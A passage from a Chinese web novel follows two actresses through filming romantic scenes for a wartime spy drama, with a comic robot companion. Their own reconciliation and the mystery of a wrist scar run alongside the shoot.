该有的动作、姿势,其实早在分镜里就画了个一清二楚,但费鹤鸣清楚,这种东西,越是靠演员自发情绪去推动就会越好看。 于是她也只是观察更多,让黎数按照刚刚讲过的步骤,牵引着陆嵬一步步走到床边。 “压|倒她。” “陆嵬别用力,顺着往下倒,对眼睛一直看着她,呼吸可以重一点,按照你自己真实频率来。” “解她的扣子,用一只手,带点技巧。” “门外有人看你们,暧昧点,捞起她的头发闻。” “对,握着她的腰,亲她。” 大致的姿势从头到尾的顺了一遍以后,陆嵬从床上站起来,无声的吞咽了几下,一会整理头发、一会整理衣服,手脚眼神各忙各的。 黎数倒是一如既往的淡定,费鹤鸣忍不住吧唧两下嘴,把夸奖说出了口。 费鹤鸣:“你学学人家小黎。” 被几人完全忽视的521也跟着吐槽:“你学学人家,你学学人家。” 陆嵬面无表情:“你想出去吗?” 521偃旗息鼓,搓着小手很狗腿的说:“其实你也超棒的。” 一切准备就绪,各机器负责人站在各自的位置上,费鹤鸣退到角落的监视器后,等待的功夫,问521:“你是不是能放冷气?” 521点头,讨好的‘嘿嘿’一笑,“可以,可以的导演,我可以的。” 费鹤鸣早知道剧组里面来了这么个神奇的小机器人,但之前一直无缘得见,不免好奇它的功能。 室内有三十多度,拍的时候经常要暂停补妆,以免穿帮,楼外倒是装了空调,但这么大的场地,人又多,空调的效果有点杯水车薪。 费鹤鸣让521把冷风加大点,虽然比不上真正的空调,但也能感受到温度在一点点下降,不由赞了句惊奇。 521眼睛贼光一闪:“那以后我可以都跟着小黎吗?” 有免费空调谁不乐意,夏天拍戏最怕的就是出汗,费鹤鸣没有不同意的道理。 521‘嘿嘿’一声贼笑,像领了圣旨的太监,以后就不用畏惧陆嵬的淫威了。 一切准备就绪,费鹤鸣喊了开始。 黎数在镜头前找好角度,接着刚刚的戏。 里屋虚掩着的门被推开,白玫受惊,瞬间回头,惊怒的喊道:“谁?!” 她一回头,瞥见了面色严肃,写着烦闷的左碧君。 察觉到左碧君的神色不对,白玫未语先笑,迅速的小跑了两步,轻盈的跳到了左碧君面前。 她的身体被左碧君挡着,一手的食指点在左碧君的唇上,不让她说话,另一手点了点自己的眼睛,眼神指向窗户的方向,又点点自己的耳朵,同时指了指上方的台灯。 白玫的手掌很凉,点在嘴唇上时并没有用多大的力,也只是轻轻一触就分开了,改为将手环在了她的腰上。 她身上仅穿着一件肚|兜,镜头拍不到的地方,左碧君满眼都是肚|兜衣料偶尔晃动时的波纹。 她没有抬头,但已经理解了白玫的意思。 白玫是在说:窗外有人监视,吊灯里藏着监听器。 居然连这里都被监视了。 左碧君脸色愁苦的垂下头,但白玫却在这个时候迎了上来。 两人贴的极近,白玫莞尔一笑,牵着左碧君的手,仰头吻了上去。 左碧君不可置信般的眨了眨眼睛,这个吻完全被白玫带动,绵软、潮|热,带着无尽的安抚和抱歉。 她向后躲了下,但白玫很快追了上去,左碧君没再躲,颤抖着睫毛想要回吻。 这个时候,白玫却主动退开了。 她的呼吸微乱,嘴唇鲜红,泛着湿润的水色,片刻后,她吻了吻左碧君的脖子。 “突然就来了,吓我一跳。”白玫娇声抱怨,但眼波流转间,又像是嗔怪撒娇。 她牵起左碧君的手,放在了自己胸口的位置,一边问她:“想不想我?”一边把人往屋里带。 左碧君始终沉默着。 她坐在床边,白玫顺势挤进了左碧君的怀里。 剧本在她的脑海中自动的串联成线。 她身在春楼,游走于那些太太之间,虽然她们有心想瞒,可字里行间总能透露出些消息来。 她知道左碧君被怀疑,已经有了暴露的风险,也知道她被全方面监视,身上的‘秘宝’送出不去,一定会在近期找自己商讨对策。 只是自己这里显然也被监视了。 白玫将声音放的很轻,凑到左碧君的耳边,像是耳鬓厮磨般有一下没一下的轻吻着,看着她的耳朵变得通红,滚烫。 “将消息往我身上引。”白玫低声说:“让所有人都以为,你被我迷昏了头,什么宝贝都甘愿给我奉上。” 说完,她笑了声,一条腿跪在床边,手轻轻一推,左碧君顺着她的力道倒在床上。 这一次的吻细密且绵长。 这段日子压抑的、被监视的、想念的、迫切的、所有生活都像是在被一双眼睛盯着的情绪,在这一瞬间,因为一个温柔、安抚的吻而彻底爆发。 黎数意识到了陆嵬情绪上的转变,所有的情绪也终于有了宣泄的点,两人短暂分开、对视,急促的喘|息对视过后,再一次接吻。 星火燎原般,一发不可收拾。 521尽力吹出的风似乎没有什么功效。 陆嵬情绪激动,胸膛剧烈的起伏着,浑身热的发烫。 她的耳边只听得到黎数很轻的呼吸声,她们的身体紧紧的贴在一起,那是陆嵬思念了两年的距离和温度。 这一夜过后,这位年纪轻轻,便担任商会同盟会会长的女人,为了讨情人喜欢,将“秘宝”拱手送上的消息传遍了整个瀚海市。 费鹤鸣喊了停。 所有机器的声音停止运转,室内安静了下来。 黎数起身,将陆嵬来时穿的那件外套盖在她的身上,又捡起自己被丢到床下的旗袍,但没有穿,只是捏在手里。 这一场拍完,今天的戏就没有了。 黎数背对着陆嵬坐在床上,过了会,她回头看了一眼陆嵬,然后起身离开了室内。 屋里慢慢的恢复了嘈杂。 这场戏并没有露点,费鹤鸣毕竟拍的不是三|级|片,她要的是情绪、要的是氛围,更多的重点还是在表情和眼神戏上。 拍摄已经结束了有一会了,但陆嵬还坐在床上没有动。 本来她还沉浸在和黎数亲热的余韵里,但就在她想继续深吻的时候,费鹤鸣喊了停。 她分不清黎数刚刚走前向她看的那一眼究竟是因为什么。 陆嵬又坐了会,面前出现了一片白色的消毒湿巾。 湿巾下面垫着一双机械小手,陆嵬的目光上移,521的笑脸映入眼帘,说:“擦擦嘴吧陆嵬。” 陆嵬扯扯唇角:“你还知道给我递湿巾。” 521一副‘当然了我可是很关心你’的表情,开口问道:“你嘴巴好红,你口红什么色号哒?可以给我也买一枝吗?让查查博士给我做成赛博电子版,求求你了,求求你了。” 感动还没升上来就被喂了521,陆嵬翻了个白眼,只擦了擦手,从床上站了起来。 费鹤鸣百忙之中抽空看了她一眼,然后宣布:“过了,收工!” 确定没有问题以后,陆嵬起身,简单把外套披在身上,也跟着离开了。 剧组第一辆车渐渐凑满了人,剧组的工作人员回酒店,其他按天结工资的配角和群演则离开了剧组,跟着大巴一起返回市区。 陆嵬问了一圈,没找到黎数,倒是遇到了同样忙到这个点才收工的沈凝雪。 她左右看了看,问:“裘夏没粘着你?” 沈凝雪笑了笑:“她回市区了。她也有自己的工作,总不可能一天二十四小时都粘着我。” 陆嵬不置可否的挑挑眉,从口袋里摸出烟来点了一根。 烟草气息带着浓郁的草药味,沈凝雪没躲开,左右不是二手烟,烟气吸了对精神方面还有舒缓镇定的作用。 她问了句:“刚刚看你是在找小黎?” 陆嵬静了两秒。 沈凝雪疑惑的摇了摇她的手臂。 陆嵬刚刚一瞬间有想将一切事情都告诉沈凝雪的冲动,但话到嘴边,又硬生生的忍住了。 于是只点了点头,说:“嗯,刚拍完,她就先走了。” “去房车上等吧,她总要回去的。”沈凝雪笑了笑。 往回走了两步,沈凝雪又停下,转过身,和目送着她的陆嵬对视了一眼。 沈凝雪说:“我觉得小黎这孩子不错,你如果真的喜欢,可以和她试一试。” 没想到沈凝雪会突然说这个,陆嵬愣了愣。 过了几秒她说:“我在追她。” 这下沈凝雪也有点惊讶了,但很快就弯着眼睛笑了笑,说:“那很好。那我就先走了,你晚上不要熬太晚,早些睡。” 陆嵬点头,听沈凝雪说起时间,这才摸出手机看了一眼时间。 虽然今天的进度整体不算慢,但开始的时间晚,现在还是已经凌晨两点了。 因为下午睡过,这会倒还不算困。 陆嵬擦干净手腕上的粉底的痕迹,把腕表拿出来戴上,调整好松紧,往车上走。 车上,黎数正安静的坐在靠窗的位置,没开窗户,只是静静地看着外面的风景。 521比自己先一步回到车上,正坐在黎数身边黏糊糊的说着什么,表情一会害羞一会兴奋一会惊叹。 陆嵬上车,521回头看了她一眼,哼着歌,和元宝一起去了驾驶座。 听到陆嵬的动静,黎数坐直了点,回头看了陆嵬一眼,桌子上是几根按灭的烟,双眼已经看不出情绪,没有什么波澜,只是静静地看着她。 陆嵬站在门口,四目相对了片刻,她回身关上车门,说:“没开空调,不热吗?” 晚上温度只有二十度,温度不高,但蚊虫多,所以黎数没开窗通风。 她摇头,但也顺手把空调打开了。 陆嵬迟疑片刻,坐到了黎数对面的座位上。 黎数面前的杯子里没有水。 陆嵬伸手摸了摸茶壶,还有些余温,这才给黎数倒了一杯水。 黎数静静地看着她的动作,在陆嵬把杯子放在她面前的时候,黎数端起来抿了一口。 这是一个无言的和好信号。 陆嵬提起的心稍稍放下了一丁点,弯了弯眼睛,给自己也倒了一杯。 她一口气喝完了一杯,才问:“费导说我今晚上表现的还不错。” 润过嗓,黎数闻言点了点头:“是很不错。” 陆嵬的演技,就像是班级里面成绩永远稳定在一个水平线上的中等偏上游的学生。 不论是遇到什么样的难题,她都可以给出一个八十分左右的答卷。 今晚也不例外,本以为这场戏要从天黑磨到天亮前,但事实上和最理想的收工时间相差不远。 陆嵬没有多惊喜,但被黎数表扬了还是很开心。 她理想不是当演员,以后也没有要当演员的打算,所以她对自己的演技没有什么过高的要求。 只要不拖后腿——尤其是不拖黎数的后腿就可以了。 陆嵬凝视着黎数,“但你走前看我的那一眼,我觉得你好像不高兴。” 黎数动了动手臂。 赤|裸的胳膊放在桌面上太久,手臂上出现了一条明显的红印,她两只手交错着揉了揉。 明明听到陆嵬在问她,但一时间没给她回答。 陆嵬也不急,慢慢的等着:“不想说了也没关系。” 窗外的景色在慢慢的变,距离到酒店也越来越近了。 干坐了一路,再舒服的椅子也坐的人有点腰酸难受。 陆嵬动了动,想起什么,问黎数:“你还想上顾宗年的戏吗?还想演岑巡吗?” 这个问题问的黎数一愣。 前一个问题她不想回答,现在这个问题她不知道怎么回答。 但黎数这次真的认真的想了想,说:“如果你说的一切都是真的,那我不想。” 黎数说:“如果《真凶》是顾宗年用我不知道的手段从你这里抢走以后,再更改成阴阳剧本,后面还有资本博弈的话,即便这个片子在你的干预下能顺利拍出来,也未必能真正的精彩。” 因为陆嵬之前说了,即便她插手,也只是担任了一个挂了名的总编剧,而不是总导演。 黎数道:“所有好演员都知道,一部片子的上限是在导演。我不可能把未来赌在现在的顾宗年身上。” 陆嵬反应了几秒,不知道是该笑还是该哭,“你总能这么冷静,从来不会因为情绪驱使去假设如果和可能。” 黎数皱了皱眉,不明白陆嵬在说这话时看上去有些难过的表情。 但她觉得自己说的没有问题,毕竟导演如果不行,任凭演员多厉害,都能把一条龙拍成一条虫。 到那时候,别说是更进一步了,恐怕前十几年都白干。 黎数现在虽然阴差阳错获得了一个慢慢和自己变得一模一样的身体,也拥有了一份算是干净、没有什么黑历史的过往,但也还不想第一部戏刚上没多久,就因为导演不好,而在演技上背上这么铺天盖地的黑锅。 有的人心脏天生强大,能走黑红的路子,黎数也未必不能走,只是不想,也觉得没有必要。 虽然现在因为脸和名字、陆嵬的关系,她已经在这条路上一去不复返了。 想起陆嵬,黎数的目光又落到了陆嵬的腕表上。 咖啡色的表带,四季百搭,看上去有些眼熟。 边缘甚至已经磨的掉了皮,但陆嵬一直用着。 从在片场初见开始,陆嵬就用的是这条表带。 黎数又看了眼自己的左手。 原主当初割腕时的伤疤已经不知不觉中消失了。 现在她的左手手腕一片平滑,干净的完全看不出曾经有过疤痕的痕迹。 黎数抬起头,想起和陆嵬在片场初见的那一天,她请求陆嵬送她去医院,陆嵬用很凉薄的语气,说‘你割腕?’三个字。 当时她伤口的位置其实有点偏,为了看到的人多想,黎数特意包的长了点。 正常人看到只会以为可能是扭伤、或者是简单的受伤,而不会联想到割腕。 但陆嵬第一眼就看出来了。 黎数一开始并没有觉得有什么不对。 直到现在,时隔两个月,她和陆嵬的角色互相颠倒了。 黎数下巴轻轻仰了一下,向着陆嵬被表带遮住的手腕的位置点了点,问她:“手腕上的伤疤怎么回事?什么时候的事情?” 第56章 第五十六章【VIP】 车厢内安静极了。 521浑然不觉的哼着歌,元宝眼睛瞪得像铜铃,盯着偶尔飞速略过的飞虫,脑袋左摇右摆的很忙。 黎数往车厢扫了一眼,又看向垂眸不语的陆嵬。 和陆嵬在拍摄最后一段亲密戏的时候,黎数能察觉出陆嵬和左碧君的细微不同。 她很清楚,她正在亲的人不是‘左碧君’,而是真正的陆嵬。 但黎数默许了,而且费鹤鸣也没有喊停。 直到她顺着陆嵬的手臂划过,要和她十指交扣时,不经意间握住了陆嵬的手腕。 疤痕其实并不明显,黎数也只是匆匆而过的一触。 但形状、长度、位置,在亲眼看过真正的血淋淋的伤口,和愈合后的伤疤以后,黎数没法不多想。 但话刚一问出口,其实黎数就有点后悔。 车正巧停了。 521倒车、入库,每一条边的距离都在它精准的车技下卡的非常规整。 元宝自觉跳进它背后的小背篓里,让521背着它一起往黎数的方向走,再一起上楼。 陆嵬自始至终没说话。 黎数烦闷的起身,但陆嵬不告诉她原因完全是她的自由,任何人都没资格逼问她这件事情。 于是黎数只能将情绪忍下,声音显得有些紧绷,说:“到了,走吧。” 陆嵬下车时默默地跟在黎数身后。 直到房间门口,黎数先一步换鞋进门,却发现陆嵬还在门口没进去。 直到黎数注意到这一点,回头找问陆嵬的时候,陆嵬才站在门边,说了一句:“剧本细节的地方他们在磨,我上去看看,今晚可能不回来了。” 黎数道:“你不睡了吗?” 陆嵬点点头,又摇摇头:“用不着我来主笔,我只在需要的时候看一眼就可以。” 这次还不等黎数说什么,陆嵬又补了一句:“我怕他们一趟趟下来,会吵到你休息。” 黎数有再多的话也说不出来了,带着心烦意乱的情绪洗漱,躺在床上久久无言。 521换上了黎数给它买的新睡衣上了床,美滋滋的说:“小黎,我还想要个小背包。” 黎数望着头顶昏黄的灯,“给你买。” 521又说:“我还想要一双没有鞋底的鞋。” 黎数说:“给你买。” 521眨巴眨巴眼睛,“小黎,你怎么这么好啊。” 黎数翻了个身,和小机器人面对面的侧躺着,沉吟了一会说:“你是一直都跟*在陆嵬身边的吗?” 521声音软软的,“不是哒,我是2027年7月份才被打包送到紫檀的。” 黎数说:“我记得你说你是5月21日出生的?” 521的星星眼一闪而过,非常深情的看着黎数:“是的,但是陆嵬一直没去领我,所以我才被打包寄过来的。寄的超大件物流。小黎,你对我真好,居然记得我的生日,你是要给我补送今年的生日礼物吗?” 黎数只能违心的撒谎说:“在路上了。就是你刚刚说的那双没有鞋底的鞋。”还好刚刚说了给买。 521登时满脸容光焕发,屏幕亮了好几个度。 大半夜的,黎数被刺的眼睛一痛,521又内疚的把屏幕亮度降低,用嘴给黎数吹眼睛。 机器人用屏幕的假嘴巴给给自己吹风。 不管每次是什么情绪,黎数总能被521不经意间给逗笑。 黎数说:“好了,我没事。521,我有事想问你。” 521严肃而庄重:“使命必达!” 黎数说:“你知道陆嵬的手腕上有一条……”她不知道那条伤口是不是割腕产生的,措辞顿了顿,说:“很长、很明显的伤口吗?” 521先说:“不知道,没有见过呢,我只记得陆嵬的左手一直戴着一条咖啡色表带的手表。” 521打了个补丁:“我们机器人从来都不偷窥别人的。” 然后噘着嘴,开始抱怨:“陆嵬收到我以后,就一直把我扔在三楼仓库的小黑房子里。要不是裘夏把我当垃圾,要找人把我清出去被陆嵬看到的话,我就要丢了!那天是9月27日。” 黎数安抚的摸了摸它的头:“怪不得你怕黑。” 521点头,趁机控诉陆嵬:“在我的记忆里,我刚被从小黑屋放出来,就看到了陆嵬。她当时丑的简直是人神共愤,和查查博士给我看过的山鬼的照片一模一样!吓得我差点尖叫去世。” “初次见面,我们俩都很不礼貌。”顿了顿,5没好看到哪里去,我们俩还是都很不礼貌。” 黎数失笑,忍不住审美的标准上,陆嵬已经是顶级漂亮的大美女了。” 521哼了一声:“那我不管,她给我的伤害,在我眼里陆嵬就是最丑的。” 521又黏小黎小黎,我觉得你最好看。” 黎数摸了摸521方方的脑袋- 后半夜空气开始变得潮热起来,迷迷糊糊间,外面像是下起了雨。 雨声太大,黎数睡得不太安稳。 将醒未醒的时候,她听到阳台门被拉开两次的声音,后面雨声就听不到了。 之后,黎数感觉有人在轻轻抚触自己的头发和脸颊,很轻的力道,一直到再一次彻底进入沉眠,她都没听到有人离开的动静- 这场雨一直持续到了第二天下午。 到处都是水汽濛濛的,视野里的色调像是被加了一层轻浅墨色的滤镜。 黎数是在片场才看见的陆嵬。 陆嵬今天换回了初见时的那套旗袍,中规中矩,但脚上踩着的,是一双漂亮的小皮鞋。 画着淡妆,但着色不多,只简单提了气色,和浓眉红唇的黎数是完全不同的靓丽。 黎数走过去,彼此心知肚明的略过了昨晚那个不算愉快,也没有进行下去的话题。 黎数说:“今天的剧本,都是昨晚上连夜加出来的?” 陆嵬点头,“简单给左碧君加了点灵魂。” 黎数失笑。 过了会她不经意间的说:“昨晚上你回来过?” 她只是感觉有人,但不能确定那是梦还是真实,因为她似乎也没听到门卡被刷响的声音,也没听到521和元宝的警示。 但陆嵬大方承认,“是我。昨晚突然下暴雨,我想起阳台的窗户没关,只有一个内窗挡不住雨声,下来关窗。” 黎数想起昨晚睡梦中似乎有人轻抚自己,给自己拨开了惹人厌烦,睡梦中却提不起双手去拨开的发丝。 但也分不清是不是只是梦,还是梦里她梦到了以前,又把以前当成了真。 黎数说:“谢谢。” 陆嵬默不作声看了她一眼。 黎数没再回想下去,和陆嵬肩并肩站着,看着窗外的雨。 她是早上才拿到的新鲜出炉的内容,下午就已经要拍的部分全部背熟。 也是很巧,今天所有的戏的内容不挑天气,都是室内戏,也是黎数进组以来为数不多的甜蜜戏份——主要对象是陆嵬。 费鹤鸣照例过来讲戏,她也被这蒸笼一样的天气弄得满身汗。 “这场戏很重要。”费鹤鸣说:“这是白玫和左碧君最幸福的时光。因为一场意外的情|事,她们之间的关系被打破,左碧君的态度出现了明显的变化,她爱上了白玫。” 黎数认真的听着。 这场戏对她而言是陌生的,费鹤鸣一边说着,她一边记录着什么。 费鹤鸣说:“左碧君爱上了白玫,在她自己都没有意识到的时候。但白玫没有爱上她。” 黎数讶异的抬起头,“没有?” 费鹤鸣肯定:“没有。” 黎数皱了皱眉。 费鹤鸣手肘撑在双腿上,看了眼陆嵬,又去看不解的黎数,“白玫有动心,有喜欢,但没有爱上。” 黎数这次缓缓点了点头,消化着这部分的情绪。 费鹤鸣继续说:“人会喜欢很多的东西,猫、狗……机器人。这种喜欢会催生人想要去抚摸、亲近、逗弄的本能,但不会因为这点喜欢,去付出什么。白玫就是这样。” 黎数了然了。 这个阶段的白玫是喜欢左碧君的,但不是爱。 她愿意为了左碧君付出、愿意将生命交托,出于的是绝境之下只能互相依靠的友情和共同的信仰,她们是并肩作战的战友,但不是爱情。 见黎数已经明白,费鹤鸣拍拍她的肩膀,离开前,若有所思的看了眼陆嵬,又低头去看手里的剧本。 内容越看越熟悉,她记得似乎有以前发生过的事情。 看了会,她用胳膊肘捅了捅秦霜,小声说:“你说这世上真有借尸还魂或者是重生的事儿吗?” “大姨,你才刚刚六十出头,还没到老年痴呆的高发期呢。”秦霜摸摸她额头:“没发烧啊。” 费鹤鸣闭了闭眼,看了一眼陆嵬,又看了一眼在墙角掏老鼠洞的521,心想到底是谁把她智商给拉低的。 费鹤鸣捂着额头说:“没事,我缓缓。”- 一切准备就绪,紧闭的窗户被打开,雨声、潮气夹杂着土腥一起涌入了鼻腔。 白玫将水盆搬到窗前,看着楼下被突如其来的大雨淋的四处逃窜的人们,含着笑将脸上的妆洗了干净。 楼上很安静,白玫慢条斯理的将水倒掉,又将毛巾投洗干净,换了一身素色的旗袍。 坐在床上时,她在想着左碧君什么时候会来。 这是她在楼外的住处,一栋小楼,面积不大,东西也少,却也难得的清净。 只是天气太热,引得人身上阵阵的细密汗水,白玫拿一把蒲扇闪着风,又站起来走到窗边,去继续看楼下的人。 雨幕中,有一个女人自远处匆匆跑来。 打打着伞,但伞的大半却只护住了怀中的东西,高处看只能看到漆黑的伞面,白玫‘哎呀’了一声,快步打开了房门,又拿出干净的毛巾,在门口等着。 很快脚步声由小变大,一个靓丽的身影出现在视野里。 左碧君大半边身体都湿透了,小皮鞋一走一步湿漉漉的水印,她的伞收了起来,怀中抱着一个被油布包裹着庞然大物。 本来她脸上还带着笑,但看见白玫已经站在门口迎接她的那一瞬,左碧君脸上的笑忽然又没了。 她和白玫对视一眼,站在门口整理着自己,看着白玫不说话。 白玫也不做声,嗔怪的瞧她,柔声说:“还在生我的气?” 左碧君抿抿唇,岁数明明超出白玫许多,可偏偏不论阅历还是为人处世上,她都比不上眼前这个比她小很多的少女。 白玫抱起她怀中的东西,也不看,先把左碧君迎了进去,“到底什么宝贝东西,让你一路这么护着,浑身都湿透了,快去换身衣裳。” 等左碧君再出来时,外间湿漉漉的水渍已经没了。 伞被收进了伞桶,用来包裹风扇的油布也被晾在了一边,一个个头不大的风扇已经接上了电,扇叶‘嗡嗡’的转着,让闷热的室内吹气了阵阵的风。 左碧君刻意加大了脚步声,白玫闻声回头,站起来后柔声说:“我要多谢你,这是个稀罕物件,有了它,往后的夏天可就没那么苦了。” 但左碧君仍然沉着脸一语不发。 风的方向被白玫挪到她那里,白玫看够了她生气时的模样,终于笑着站了起来,“拿你没辙。” 她走到橱柜前,从橱柜取出来了一个造型并不算多漂亮的蛋糕,上面点缀着些许蓝紫色的果子。 “不是我这些天不理会你,这几天在忙着给你准备惊喜。” 左碧君怔住,脸上的愤怒瓦解,被白玫牵着坐到了桌边。 白玫划亮火柴,把蛋糕推到了左碧君面前,柔声说:“鲜少看见你生气的模样,倒也新鲜。你会生气了,冲我发脾气,这没什么不好的。” 左碧君低声说:“可你比我小许多。” 白玫轻声说:“也就三五岁,不当一回事。多少人活到五六十都不如稚龄孩童通透,我出生在贫穷窝,你生长在黄金台,千娇万宠着长大,自然和我不同。” “平日里在那些豺狼面前装的还不够?在我这总能放松些。” 左碧君抿着唇,脸上露出点腼腆的笑。 白玫趁机说:“我惹你生气了,都是我的错。为着不让你发现,我可瞒的你好苦。尝尝看,西洋来的果子,没核,冰镇过,酸酸甜甜的,倒也爽口。” 一个小蛋糕两人分着吃完,一阵微风拂过,左碧君放下筷子,抿了口水后才说:“瀚海马上要乱了。” 白玫点头,眉宇间也带着愁容:“城里的日本人变多了。很多太太出席的宴会增多,回来后都在说日本人。军|官开始四处敛财找退路,下层越来越乱,外面的战火也越来越多。” 两人对视一眼,蛋糕甜蜜的余味已经消失,徒留了满面的忧心忡忡。 白玫将目光望向那个价值不菲的风扇,动荡时局下,唯有金条、枪|械才是永恒的流通货币。 她吩咐一声:“稍等我片刻。” 再次起身,从衣柜的暗格里取出一把枪来,递给了左碧君。 “我们要等,等到他们开战无暇顾及我们,我们才能离开。”白玫说道。 这份价值连城的秘宝引人觊觎,只有开战时,瀚海市统战站长才能无暇他顾,这也是她们唯一逃离的机会。 左碧君将枪收了起来,承诺一般的说:“我定会送你安全离开。” 她说完,上身前倾,楼住了白玫纤细的腰肢。 怀中的少女穿着素净,勾勒出极完美的身形。 左碧君难|耐的动了动,听着窗外吵人的雨声,说:“雨下的很大,有人跟我,我今晚留下,可以吗?” 她抬起头,目光渴求的望着白玫。 冒雨送风扇,留下庆祝生日,简简单单的饭菜,再留下过一夜。 没有比这更能迷惑敌人视线的事了,她们两个如同真正的、坠入了爱河的两个女人。 于窗边,左碧君仰起头,几乎痴迷的望着白玫美丽的脸,说:“有时我觉得自己卑鄙,无耻,找了许多借口,找了许多理由,都不过只是想抛开世俗,目的是和你放纵一夜。” 白玫讶然,却依然浅笑着说:“不是你的错,是这世道,是监视你我的人逼迫,你只是喜欢我。正相反,第一次,分明是我引诱了你。” 左碧君终于藏不住心思和渴望,仰起头吻了上去,去啄她肖想已久的红唇:“可我期待已久,心甘情愿。” 然而风雨欲来,无家可归的流民、孩子日渐增多,城内暴乱频发,一切都昭示着,要乱了。 镜头缓缓升高,对准了天空浓黑的乌云。 一阵极快、极亮的闪电过后,雷声滚滚而来,最终定格在斜织的暧昧雨线。 费鹤鸣松了口气,喊:“停,过!” 陆嵬这才和黎数分开。 她目光直勾勾的看着黎数被她吻的鲜红欲滴的唇,仓促的避开了视线,哑声问费鹤鸣:“今天是不是可以收工了?” 费鹤鸣‘嗯?’了声,然后点头,看了眼外面的天色说:“可以了。” 黎数在室内静坐着,没急着离开。 屋里其实还是很潮热,这是一个故意做旧的老楼,到处都是木质的材料,偶尔会出现‘咯吱’的声响。 桌子上的那个蛋糕,是黎数今天一早就被拉起来,在酒店的后厨做出来的。 用的时间其实不算久,因为材料都是现成的。只是先试了几个,然后才到拍摄场地,单独拍了做蛋糕的镜头。 黎数想起了两年前订给陆嵬的那个蓝莓蛋糕,陆嵬应该是没有机会吃到的。 那家店的蛋糕是现做冷藏,等陆嵬回到家,恐怕也早就不能吃了。 或许留下的垃圾也会被清理走。 她又望向了桌子上那个已经被征用的风扇。 那时候她在一个山里拍戏,当地的农村地处偏远,也带不动什么大功率电器,想要安装空调是不可能的事情。 当地也没什么住的地方,她和陆嵬还是照例借住在老乡家里。 但晚上实在热的无法入睡,黎数辗转难眠,只能一次次的冲凉,又用扇子扇风,直到身体到了极限,才能疲倦的睡去。 第二天她照常出工,那天同样下了雨,气温还没能降下来,暑气就先上来了。 铺天盖地的潮热几乎要把人蒸熟,扇子带出的轻微风力让剧组十几号人一瞬中暑,黎数也不幸中招,当时躺在床上,只能靠藿香正气水续命。 陆嵬是下午回来的。 回来的时候,她的鞋已经被泥巴裹满了,过多的泥巴被她跺脚跺掉,而后把鞋脱在外间,踩着拖鞋进了门。 她沉默着把一个风扇拿出来,一路小心的护着,浑身湿了大半,但风扇滴水未沾。 那个风扇被黎数带回了鸿景苑,一直用到不能再修。 黎数终于起身,走到了费鹤鸣身边,不出声的坐下。 费鹤鸣抬头看了她一眼,“怎么了?” 黎数和费鹤鸣挨得极近,愈发觉得,两年多的时间,费鹤鸣的身板越来越小了。 老太太的手枯瘦,笔下的字却遒劲有力。 黎数看她写了一会,连笔字很多,除了费鹤鸣本人以外恐怕没几个人能认得出来。 听她问了,黎数搓了搓手指,才说:“这场戏,是小……”黎数嘴上打了个磕巴,反应极快的改口:“是陆总负责写的吗?” 费鹤鸣想了想,说:“算是吧。这段内容,对于白玫和左碧君来说重要,但对于观众来说,其实没什么意义,甚至会有不少观众会觉得在凑时长。” “但这部分对于左碧君和白玫来说,这是她们两个人唯一幸福的时光了。” 黎数苦涩的笑了笑。 “你们俩后面就要杀青了,我把这段戏特意留到现在,就是为了冲击一下你们的感情,把你们两个的杀青戏给我立住了。” 拍的内容多,但不代表留的内容多。 黎数心里也知道,于是‘嗯’了声,抿了抿唇,想到冒雨送来的风扇,想到那个没能吃到的蛋糕。 想到了陆嵬手腕上陈年的旧疤。 黎数觉得自己似乎隐隐猜到了什么。 她说:“戏里左碧君原定的结局,改了吗?” 改动左碧君原定的结局,是刚刚定下的事情,目前还没人下发。 费鹤鸣惊讶于黎数的嗅觉和敏锐,以为她是从现在拍摄中的蛛丝马迹中猜到的。 但凡事不能说死,费鹤鸣就说:“有改动。” 黎数又问她:“白玫现在没有爱上她,只是动了心。那以后呢?以后爱上了吗?” 费鹤鸣反问:“你觉得呢?你才是白玫,你应该比我清楚。” 最后一句话在唇边翻滚了半晌,黎数终于从唇缝中挤了出去。 “左碧君呢?她知道吗?她是怎么想的?” 她知道,或者说,她认为白玫不爱她吗? 费鹤鸣笑了:“这你应该去问左碧君,而不是问我。” 第57章 第五十七章【VIP】 黎数甚至不用问。 陆嵬前不久才哭着问她,说:“我有时候真的想问你是不是真的爱我……你到底真的在乎过我吗?” 当时她没有给陆嵬回答,因为她当时没打算和陆嵬有以后,所以不论说什么都不合适。 她和陆嵬之问分不出谁对谁错,都各有理由,都各有苦衷。 黎数只是觉得,她们两个不适合再在一起。 但最近心里总是空落落的,高悬半空始,黎数不知道是为什么- 傍晚天气凉了下来,因为剧组已经有很多配角陆续杀青,所以楼下总是很热闹,隔三差五的喝酒聚餐,为以后不知什么时候才能再合作的日子叹惋。 今天楼下吆喝着要送的人林辰星。 她今天特地打扮了一番,知道已经要走了,在楼下来者不拒的喝。 不远处的道路上,来接林辰星的车已经来了,她放下酒杯,忽然朝黎数这里的阳台看了一眼。 然后和其他人交代了两句,拎着两瓶啤酒上了楼。 片刻过后,黎数的房问门被敲响了。 521正在和元宝用陆嵬的平板玩捕鱼游戏,听到动静回头看了眼,一边问着‘谁呀’一边过去把门开开了。 林辰星没直接进来,在门口张望了一会,说:“我不打扰吧?” 黎数把烟按灭了,说:“不打扰。” 林辰星这才进来,左右看看说:“陆总没在?” 黎数摇了摇头,“去取饭了。” 黎数进组以后就很少吃大锅饭,剧组订的餐也没见她取过,林辰星早知道她和陆嵬是一直在开小灶的。 林辰星暧昧的笑,“用不用这么明目张胆啊,陆总对你这态度,倒和外界传闻的不太一样。” 黎数并不是多喜欢看八卦的人,何况现在网上不论是绯闻还是流言,她一早都知道是寰宇在背后做推手,因此也没什么兴趣。 不过林辰星提了,她忽然有些好奇,说:“什么传闻?” 林辰星看着黎数的脸,说:“还用说吗?你这张脸和名字。” 黎数恍然。 两瓶啤酒打开,黎数抿了口。 她不爱喝酒,啤酒的味道发苦,也不容易醉,想微醺都得喝到撑到走不动路。 但林辰星马上要离组,人又拿着来了,喝一杯也没什么。 “哎,你后面有什么计划啊?”林辰星问她,“你签在寰宇,和凝火算是姐妹公司,说不定以后咱们俩还有合作的机会呢?” 夜晚下,黎数笑的眼波流转,笑了声说:“想跟我合作?” 林辰星实话实说:“我老板总跟我说让我多跟你玩,我可以从你身上学到很多。” 想了想,她又补充一句说:“我老板之前观摩过我两场戏的内容,她说我演技一般,入戏也慢,但是能被你带动入戏,然后超常发挥。” 黎数到是没注意到过这一点。 林辰星催她:“那你后面到底什么安排啊,准备进哪个组?有消息吗?我愿意给你做配!” 黎数失笑:“你这回倒是没有偶像包袱了。” 林辰星很诚恳:“包袱也得看人啊,跟你合作,背靠寰宇,热度、演技、名利三收,我赚大了好不好。” 